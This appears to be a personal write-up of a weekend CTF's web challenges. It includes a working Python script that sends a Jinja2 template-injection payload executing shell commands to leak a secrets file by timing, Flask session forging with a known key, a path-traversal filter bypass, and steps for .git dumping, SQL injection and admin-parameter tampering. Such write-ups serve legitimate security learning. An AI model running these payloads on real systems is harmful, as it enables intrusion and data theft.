Hello, I joined the CTF for fun during the weekend.

I focused on web challenges and completed all challenges in this category. The challenges were straightforward and made for a fun weekend.

Mr. Chatbot

Mr. Chatbot Challenge

The application shows a welcome page asking for your name, then puts you in a chat with a bot. The goal was to get the Flag from the bot. This wasn’t an LLM attack — responses came from JavaScript files.

Chat Interface

After entering a name, you get a session value that can be decoded with flask-unsign:

$ flask-unsign --unsign --cookie "eyJhZG1pbiI6IjAiLCJuYW1lIjoiaGFja2VyIn0.aA8u-Q.GRwPzCvfn4k_zUDDzo_XL83fKJk" --secret="9f3IC3uj9^zZ"
[*] Session decodes to: {'admin': '0', 'name': 'hacker'}

Session Decoding

After trying injections with no luck, I did parameter fuzzing and found the admin=1 parameter. This revealed new session data:

Admin Parameter

$ flask-unsign --unsign --cookie ".eJwdzE0LgjAAxvHvsksEHVoJUdEpe7M2C2S63cyJTacIFprRd--x2397ftuHxLo0FVkRSiakissUmT6TOm6aVo_G63GGO43tZTSmy0xM5XvZyoj3enarzkFjzqF-3ENRSCNz1heL6PiwzHaO7LMaXfJ956hwn6QHUVzQfqDQrL3SbjpYTmFzL0ndguKc822NfUe5Haz2omPWMfpvGJsrtAoEzMmBNwpOuXZ4M4d1fAEb_v-be4b1ftBsyPcHZ6hN0g.aAwwvA.ouiTuVJ131_fQmyqYgewMTM-ZlM" --secret="9f3IC3uj9^zZ"
[*] Session decodes to: {'admin': '1', 'name': "hacker", 'uid': 'L2V0Yy9wYXNzd2QnKTsiKWdhbWVkYiYjMzk7XHhlMlx4YzgpXHhmNFx4ZWFceGVkLFx4OTZceGMwP1x0XHhlN1x4YjJceDk1XHhjNCpceGE1Nlx4OTdJXHgxM1x4OTdceDljZ1x4ZTVceGI4XHhiZlx4ZDlceGE3XHg4OVx4OWJceDk3JiMzOTs='}

As you see there’s a new variable (UID), I tried doing some injections like SSTI and got it :)

SSTI Success

Well The idea now to get secrets.txt file blindly, I wrote a script that uses head command if char is valid then sleep 5 seconds

import requests
import string
import time

CHARS = string.printable
FOUND = ""
POSITION = len(FOUND) + 1

def make_payload(position, the_char):
    # Use a simple command to compare single character
    cmd = f'[ "$(head -c {position} secrets.txt | tail -c 1)" = "{the_char}" ] && sleep 5'
    payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('"+cmd+"').read() }}"
    return payload

def exploit():
    global FOUND, POSITION
    
    # Continue until we've found enough characters or need to stop
    max_positions = 100  # Set a reasonable limit
    consecutive_spaces = 0  # Track consecutive spaces to detect end of file
    
    while POSITION <= max_positions and consecutive_spaces < 5:  # Stop after 5 consecutive spaces
        found_char = False
        
        for ch in CHARS:
            if ch in ['"', '\\', '`', '$', '&', '|', ';', '\n', '\r']:  # Skip problematic chars
                continue
                
            print(f"Position {POSITION}, trying character: {ch}")
            start_time = time.time()
            
            try:
                r = requests.post(
                    "http://23.179.17.40:58005/", 
                    allow_redirects=False, 
                    data={"name": make_payload(POSITION, ch), "admin": "1"},
                    proxies={"http": "http://localhost:8080"},
                    timeout=10
                )
                
                elapsed_time = time.time() - start_time
                
                if elapsed_time >= 4.5:  # Slightly lower threshold to account for network variability
                    FOUND += ch
                    found_char = True
                    
                    # Reset consecutive spaces counter if we found a non-space
                    if ch != ' ':
                        consecutive_spaces = 0
                    else:
                        consecutive_spaces += 1
                        
                    print(f"Found character at position {POSITION}: {ch}")
                    print(f"Current secret: {FOUND}")
                    break
                    
            except requests.exceptions.Timeout:
                # If timeout occurs, the character matched
                FOUND += ch
                found_char = True
                
                # Reset consecutive spaces counter if we found a non-space
                if ch != ' ':
                    consecutive_spaces = 0
                else:
                    consecutive_spaces += 1
                    
                print(f"Found character at position {POSITION} (timeout): {ch}")
                print(f"Current secret: {FOUND}")
                break
                
            except Exception as e:
                print(f"Error with character {ch} at position {POSITION}: {e}")
        
        if not found_char:
            FOUND += " "
            consecutive_spaces += 1
            print(f"No character found at position {POSITION}, adding space and continuing")
            print(f"Current secret: {FOUND}")
            print(f"Consecutive spaces: {consecutive_spaces}")
        
        POSITION += 1
        
        time.sleep(1)

def main():
    print(f"Starting blind exploitation from existing credentials: {FOUND}")
    print(f"Starting at position: {POSITION}")
    exploit()
    print(f"Final extracted secret: {FOUND}")

if __name__ == "__main__":
    main()

And after running it got the flag :)

$ python exp.py
admin:9f3IC3uj9^zZ  CIT{18a7fbedb4f3548f}

How I Parsed your JSON

This challenge reads JSON files locally and provides a SQL-like syntax to extract data. You can add * to the query to extract all columns.

The useful finding was converting the container parameter into a list with ?container[]=. This showed a debug page with source code.

Debug Page

The code simply removes ../ and file extensions from the container name to prevent LFI. This can be bypassed with ..//file.txt.txt.

/select?record=*&container=../../../..//app//secrets.txt.txt

LFI Bypass Result

Commit & Order: Version Control Unit

This challenge was straightforward. I discovered an exposed /.git directory on the server and dumped the repository using the git-dump tool.

After examining the commit history, I found older commits that contained the source code with hardcoded admin credentials. This is a common security mistake where developers remove sensitive information in later commits but forget that the data remains accessible in the Git history.

The steps to solve were:

  1. Identify the exposed Git repository at /.git
  2. Download the repository using git-dump
  3. Review commit history with git log
  4. Check older commits with git show [commit-hash]
  5. Find the source code file containing the hardcoded admin password in admin.php
  6. Use the credentials to access the admin panel and retrieve the flag

Breaking Authentication

This challenge featured a straightforward SQL injection vulnerability in the login page.

Steps to solve:

  1. Accessed the database and dumped its contents
  2. Found the flag stored in the ‘secrets’ table

Classic example of an unsanitized input field allowing SQL injection to compromise a web application’s authentication mechanism.

Keeping Up with the Credentials

This challenge required first solving another challenge to obtain valid username and password credentials.

Steps to solve:

  1. Used credentials obtained from the previous challenge to log in
  2. After login, got redirected to /debug.php which was an empty page
  3. Noticed that accessing /admin.php directly would automatically log you out
  4. Modified the login request to include the parameter admin=true using POST method
  5. Successfully redirected to /admin.php with admin privileges
  6. Retrieved the flag from the admin page

Pretty Simple :v